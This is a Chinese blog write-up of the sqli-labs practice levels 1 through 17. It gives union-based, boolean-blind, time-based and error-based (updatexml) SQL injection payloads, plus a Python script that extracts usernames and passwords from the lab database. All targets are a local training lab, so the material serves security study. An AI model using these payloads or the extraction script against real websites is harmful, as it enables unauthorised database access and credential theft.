sqli-labs-BasicLevel-总结

发布时间 2023-08-17 17:48:56作者: yoo2i
title: sqli-labs basic challenges
date: 2023-08-04 16:34:03
categories: CTF-Web入门
description: 1~20总结

常用的MySql命令总结

查库: select schema_name from information_schema.schemata
查表: select table_name from information_schema.tables where table_schema='security'
查列: select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users


  • system_user()

  • user()

  • current_user()

  • database()

​ 查看当前数据库

  • version()
  • @@datadir
  • @@version_compile_os

  • group_concat()

​ 用来将许多数据组成一行用来提取

  • concat_ws('~',A,B)

​ 用来将多个查询目标合成一行并且指定分隔符

Less-1~Less-4(手动注入)

测试能否注入(到底是什么包裹在下面有详细讨论)

http://127.0.0.13/sqli-labs-master/Less-1/?id=1'

查看当前数据表有多少列

http://127.0.0.13/sqli-labs-master/Less-1/?id=1' ORDER BY 3--+

查看哪些数据能回显

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,3--+

查看当前在什么数据库中

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,database()--+

查看所有数据库

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--+

查看security库中的所有表

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

(单引号引起来的参数去掉单引号,将内容转换成16进制编码,前面加上0x)

查看user表中所有的列名

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273--+

查看user表中所有的账号密码

http://127.0.0.13/sqli-labs-master/Less-1/?id=-1' UNION SELECT 1,2,group_concat(concat_ws(0x7e,username,password)) FROM security.users--+


以上是Less-1的过程,Less-2~4注入过程基本相同,重点在于判断是什么包裹着sql语句,1到4分别是单引号包裹、无包裹、括号套单引号包裹、括号套双引号包裹。

做法基本相同重点在于确定包裹,常见包裹有单引号、双引号、(’ ‘)、(“ ”)、((“ ”))和不包裹

Less-5~Less-8(布尔盲注脚本版)

Less-5登录成功和失败各有一种显示,可以使用布尔盲注。

下面是布尔盲注的脚本(针对less5),每次修改url和payload即可,顺序也是Less1~4的思路(无回显不用试列了),此为最后一步,直接注出username和password。

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://127.0.0.13/sqli-labs-master/Less-5/"

# 猜解长度使用的payload
payload_len = """?id=1' AND length(
	                (SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
                ) = {n} -- a"""

# 枚举字符使用的payload
payload_str = """?id=1' AND ascii(
	                substr(
		                (SELECT group_concat(concat_ws(0x2e,username,password)) FROM security.users)
	                ,{n},1)
                ) = {r} -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url=url + payload_len.format(n=length))

        if 'You are in....' in response.text:
            print('测试长度完成,长度为:', length, )
            response.close()
            return length
        else:
            print('正在测试长度:', length)
            length += 1  # 测试长度递增
            response.close()

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length + 1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url=url + payload_str.format(n=l, r=n))
            # 页面中出现此内容则表示成功
            if 'You are in....' in response.text:
                str += chr(n)
                print('第', l, '个字符猜解成功:', str)
                response.close();
                break
            response.close()
    return str


# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

#脚本只能注入到第108个字符(存疑,有时更多),109开始到最后要自己修改起始值

Less-6包裹方式是双引号,改一下继续用脚本。

Less-7包裹方式是((’ ‘))

Less-8包裹方式是单引号。

Less-9~Less10(时间盲注)

布尔盲注和时间盲注的区别

布尔盲注用于成功和失败返回值不同的时候,可以根据成功还是失败确定插入的代码条件是否符合。

时间盲注用于成功和失败返回值相同的时候,这时候我们就要在布尔盲注的条件上加入sleep(),通过返回时间是否符合预期判断插入代码条件是否符合。

以9做栗子吧

测试注入点

http://127.0.0.13/sqli-labs-master/Less-9/?id=1' AND if(1=1,sleep(5),1)--+

确定是单引号

然后就是查当前库名,查所有库,查库下所有表,查表里所有列名,查账号密码,逻辑上和脚本相同,先尝试长度再慢慢尝试字符。

10的包裹方式是双引号。

Less-11~Less-20

从11开始就是post方式传值了,需要用hackbar来输入post数据

首先使用bp抓一下包看看post数据怎么传输的,可以确定传输方式如下

uname=***&passwd=***&Submit=Submit(我的bp抓包显示第一个submit首字母小写,但是我的环境下只有大写才能过)


11先尝试一下注入点

uname=admin' #&passwd=admin&Submit=Submit

单引号包裹,开始重复1的流程思路,我只演示一下查当前库

uname=adn' UNION SELECT 1,database() #&passwd=admin&Submit=Submit

12只是(“ ”),思路相同。


13登录成功后发现只有登录成功字样,没有回显,所以原来那种方法不可以使用了,开始布尔盲注

uname=admin')#&passwd=admin&Submit=Submit

确定是(' ')包裹

开始盲注

先测长度 uname=admin') AND length(database())=8#&passwd=admin&Submit=Submit

再逐位测字符uname=admin') AND left((database()),1)='s'#&passwd=admin&Submit=Submit

14只是双引号包裹,思路相同。

15是单引号包裹,思路相同。

16是(" ")包裹,思路相同。


17可以看到是更新密码

username字段做了过滤,从password字段注入

使用updatexml进行报错注入

注入点uname=admin&passwd=admin'#&Submit=Submit

查看当前库uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database())),1)#&Submit=Submit

看表uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1)),1)#&Submit=Submit

看列uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)),1)#&Submit=Submit

看内容uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select * from (select group_concat(concat_ws('~',username,password)) from security.users) a)),1)#&Submit=Submit